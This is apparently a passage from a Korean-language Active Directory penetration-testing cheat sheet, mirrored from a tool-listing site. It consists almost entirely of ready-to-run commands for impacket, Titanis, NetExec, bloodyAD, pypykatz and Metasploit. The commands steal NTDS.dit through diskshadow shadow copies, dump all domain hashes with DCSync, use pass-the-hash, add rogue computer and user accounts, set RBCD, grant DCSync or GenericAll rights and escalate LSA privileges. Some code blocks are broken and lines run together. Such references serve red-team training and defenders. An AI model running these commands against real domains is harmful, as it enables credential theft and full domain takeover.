⚠️ 스크립트 파일은 CRLF 줄 끝을 사용해야 합니다. diskshadow.exe는 LF만 있는 스크립트를 거부합니다. 업로드 전에 unix2dos shadow.dsh를 실행하거나 printf를 사용하여 \r\n을 명시적으로 포함해 파일을 생성하세요.

⚠️ Titanis Wmi exec 리다이렉션 참고: Wmi exec 명령 인수에 >를 포함하지 마세요 — Titanis는 >를 특별히 구문 분석하며 프로세스 생성이 ERROR_FILE_NOT_FOUND로 실패합니다. 출력을 캡처해야 하는 경우 리다이렉션이 포함된 .bat 파일을 작성해 별도로 업로드한 다음 bat 파일을 실행하세요.```bash

Step 1 — create diskshadow script locally (CRLF required)

cat > shadow.dsh << 'EOF' set context persistent nowriters set metadata C:\Windows\Temp\meta.cab add volume C: alias trophy create expose %trophy% Z: EOF unix2dos shadow.dsh # ← required; diskshadow rejects LF-only scripts

Step 2 — upload script to DC

smbclient.py DOMAIN/Administrator:[email protected]

smb: > put shadow.dsh Windows\Temp\shadow.dsh

Titanis — upload

Smb2Client put shadow.dsh "\192.168.1.1\C$\Windows\Temp\shadow.dsh"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 3 — execute diskshadow and copy NTDS.dit

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

Titanis — exec (no > redirect in command arg; use cmd.exe /c for copy)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

Step 4 — retrieve files

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ntds.dit ntds.dit

smb: > get Windows\Temp\SYSTEM SYSTEM

Titanis — retrieve

Smb2Client get "\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 5 — clean up shadow and parse offline

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s - delete shadows volume trophy" secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL gosecretsdump -ntds ntds.dit -system SYSTEM # faster alternative for large NTDS files

root@kitploit:~
[↑ Back to Index](#index)

---

### Kerb-Key-List를 통한 NTDS 덤프 (RODC)

> RODC 키 복제 프로토콜을 통해 모든 도메인 계정의 AES Kerberos 키를 추출합니다. RODC `krbtgt` 계정(`krbtgt_XXXXX`)의 AES 키 또는 NT 해시가 필요합니다. DRSUAPI나 VSS를 사용하지 않습니다 — DCSync가 차단된 환경에서 유용합니다. Kerberos 키만 복구하며 NTLM 해시를 직접 복구하지는 않습니다(RC4 키에서 NTLM을 유도할 수는 있지만).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

↑ 색인으로 돌아가기


NTDS 오프라인 파싱

도난된 ntds.dit 및 SYSTEM 하이브(VSS, IFM, 백업 또는 backup-semantics pull)가 주어지면, DC를 다시 건드리지 않고 모든 해시를 로컬에서 추출합니다.```bash

gosecretsdump — Go reimplementation; dramatically faster on large NTDS files

(secretsdump can take 20+ minutes; gosecretsdump completes in under a minute)

gosecretsdump -ntds ntds.dit -system SYSTEM gosecretsdump -ntds ntds.dit -system SYSTEM -enabled # enabled accounts only gosecretsdump -ntds ntds.dit -system SYSTEM -history # include password history gosecretsdump -ntds ntds.dit -system SYSTEM -out hashes.txt

root@kitploit:~
[↑ 색인으로 돌아가기](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

↑ 목차로 돌아가기


5. 열거

도메인 사용자 열거 (SAMR)```bash

impacket

samrdump.py DOMAIN/jdoe:[email protected] net.py DOMAIN/jdoe:[email protected] user

enum4linux-ng

enum4linux-ng -U 192.168.1.10 -u jdoe -p Password123

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --users

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomusers"

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> adinfo

Titanis

Sam enumusers 192.168.1.10 -UserName jdoe -Password Password123

gopacket — SAMR user enumeration

samrdump DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

samrdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### 그룹 / 로컬 별칭 열거```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

↑ 인덱스로 돌아가기


SID Brute Force / Lookup```bash

impacket — brute force RIDs

lookupsid.py DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --rid-brute

enum4linux-ng

enum4linux-ng -R 192.168.1.10 -u jdoe -p Password123

Titanis — resolve SID

Lsa lookupsid 192.168.1.10 -UserName jdoe -Password Password123
S-1-5-21-1234567890-1234567890-1234567890-500

Titanis — name to SID

Lsa lookupname 192.168.1.10 -UserName jdoe -Password Password123 Administrator jdoe

gopacket — RID brute force (resolves SIDs, dumps domain SID + usernames)

lookupsid DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

lookupsid -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — null session (if allowed)

lookupsid DOMAIN/@192.168.1.10

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### RPC 엔드포인트 열거```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

↑ 목차로 돌아가기


WMI 쿼리```bash

impacket

wmiquery.py -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

impacket — pass-the-hash

wmiquery.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-query "SELECT * FROM Win32_Process" DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --wmi "SELECT * FROM Win32_Process"

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
--wmi "SELECT * FROM Win32_Process"

Titanis

Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
"SELECT * FROM Win32_Process" Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
-OutputFields Caption,ProcessId,ParentProcessId "SELECT * FROM Win32_Process"

gopacket — WQL query (password)

wmiquery -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

wmiquery -query "SELECT * FROM Win32_Process"
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### WMI 메서드 호출```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

↑ 목차로 돌아가기


원격 레지스트리 작업```bash

impacket — list key

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion

NetExec — read a registry value (via -x)

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags"

Titanis — list key

Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion

impacket — read a value

reg.py DOMAIN/jdoe:[email protected] query
-keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags

Titanis — read a value

Reg get 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKLM/SYSTEM/CurrentControlSet/Control/Lsa LsaCfgFlags

gopacket — query a key

reg query -keyName HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion DOMAIN/jdoe:[email protected]

gopacket — read a value

reg query -keyName HKLM\SYSTEM\CurrentControlSet\Control\Lsa -v LsaCfgFlags DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg query -keyName HKLM\SOFTWARE -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — set a value

reg.py DOMAIN/jdoe:[email protected] add
-keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd "TestData"

Titanis — set a value

Reg set 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
HKCU/Software/Test sz:TestValue=TestData

gopacket — set a value

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData DOMAIN/jdoe:[email protected]

gopacket — delete a value

reg delete -keyName HKCU\Software\Test -v TestValue DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

reg add -keyName HKCU\Software\Test -v TestValue -vt REG_SZ -vd TestData
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### 레지스트리 키 보안 설명자```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

↑ 인덱스로 돌아가기


서비스 열거```bash

impacket

services.py DOMAIN/jdoe:[email protected] list

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --services

aiosmb — interactive client

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> services

smb> tasks

Titanis — query all services

Scm query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

impacket — start / stop

services.py DOMAIN/jdoe:[email protected] start -name Spooler services.py DOMAIN/jdoe:[email protected] stop -name Spooler

Titanis — start / stop

Scm start 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Spooler

Titanis — create / delete

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe" Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

gopacket — list all services

services DOMAIN/jdoe:[email protected] list

gopacket — pass-the-hash

services -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] list

gopacket — query status of a single service

services DOMAIN/jdoe:[email protected] status -name Spooler

gopacket — start / stop

services DOMAIN/jdoe:[email protected] start -name Spooler services DOMAIN/jdoe:[email protected] stop -name Spooler

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### LSA 권한 관리```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

↑ 인덱스로 돌아가기


LSA 권한 및 계정 열거```bash

rpcclient

rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "lsaenumsid" rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumprivs"

enum4linux-ng

enum4linux-ng -P 192.168.1.10 -u jdoe -p Password123

Titanis

Lsa enumaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 # requires admin Lsa enumprivaccounts 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -Privilege SeDebugPrivilege Lsa getprivs 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getrights 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe Lsa getsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -ByName jdoe

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

## 6. Active Directory / LDAP

### AD 사용자 / 컴퓨터 열거```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ 목차로 돌아가기


GPO 및 도메인 트러스트 열거```bash

NetExec — BloodHound collection (includes GPOs and trusts)

netexec ldap 192.168.1.1 -u jdoe -p Password123 --bloodhound --collection All

bloodyAD — domain trusts

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search
--filter "(objectClass=trustedDomain)" --attr name,trustDirection,trustType,flatName

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> trusts

Titanis — enumerate GPO containers

Use Ldap query + -FollowReferrals on Linux; -OutputFields comma list works on Windows only

Linux: use -OutputStyle List and parse, or -OutputFields * and grep

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath,versionNumber -FollowReferrals

Titanis — enumerate domain trusts

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(objectClass=trustedDomain)"
-OutputFields name,trustDirection,trustType,trustAttributes,flatName -FollowReferrals

Titanis — Kerberos auth variants

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1
-Password Password123 "(objectClass=groupPolicyContainer)"
-OutputFields displayName,gPCFileSysPath -FollowReferrals

⚠️ -TicketCache only works with Titanis-native ccache; use -Tgt with a Titanis-generated TGT instead

Ldap query dc01.domain.local -UserName jdoe -UserDomain DOMAIN \

-TicketCache jdoe.ccache "(objectClass=trustedDomain)" -OutputFields * -FollowReferrals

ldapsearch — raw GPO objects

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Policies,CN=System,DC=domain,DC=local" "(objectClass=groupPolicyContainer)"
displayName gPCFileSysPath

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### 위임 구성 찾기```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ 목차로 돌아가기


컴퓨터 계정 추가```bash

impacket — SAMR method (no LDAPS required)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — LDAPS method

addcomputer.py -method LDAPS -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash (SAMR)

addcomputer.py -method SAMR -computer-name EVILPC$ -computer-pass Password123
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add computer EVILPC$ Password123!

NetExec

netexec smb 192.168.1.1 -u jdoe -p Password123 -M add-computer -o NAME=EVILPC$ PASSWORD=Password123

Titanis — plain LDAP (creates account, unicodePwd not set without -Ssl)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

Titanis — LDAPS (sets unicodePwd; use full DN as ObjectName)

Ldap addcomputer 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
-NewPassword Password123! -Ssl
'CN=EVILPC$,CN=Computers,DC=domain,DC=local'

gopacket — SAMR method (plain LDAP or no LDAPS; confirmed working with -Ssl flag on Titanis)

addcomputer -method SAMR -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

gopacket — LDAP method (requires -port 389; use -Ssl / -port 636 for LDAPS)

addcomputer -method LDAP -computer-name EVILPC$ -computer-pass Password123
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### 사용자 계정 추가```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

↑ 목차로 돌아가기


Set RBCD```bash

impacket

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

impacket — pass-the-hash

rbcd.py -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/jdoe

bloodyAD

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 set object TARGET$
msDS-AllowedToActOnBehalfOfOtherIdentity -v ''

gopacket — set RBCD (write msDS-AllowedToActOnBehalfOfOtherIdentity; requires -port 389)

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

rbcd -delegate-from EVILPC$ -delegate-to TARGET$ -action write
-dc-ip 192.168.1.1 -port 389
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

gopacket — read current RBCD value

rbcd -delegate-to TARGET$ -action read
-dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

### DACL 악용

> **Titanis 상태:** ACE-write 기능이 없습니다. `bloodyAD`가 선호되는 비-impacket 옵션입니다. `dacledit.py` / `owneredit.py`가 impacket 대체 수단입니다.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

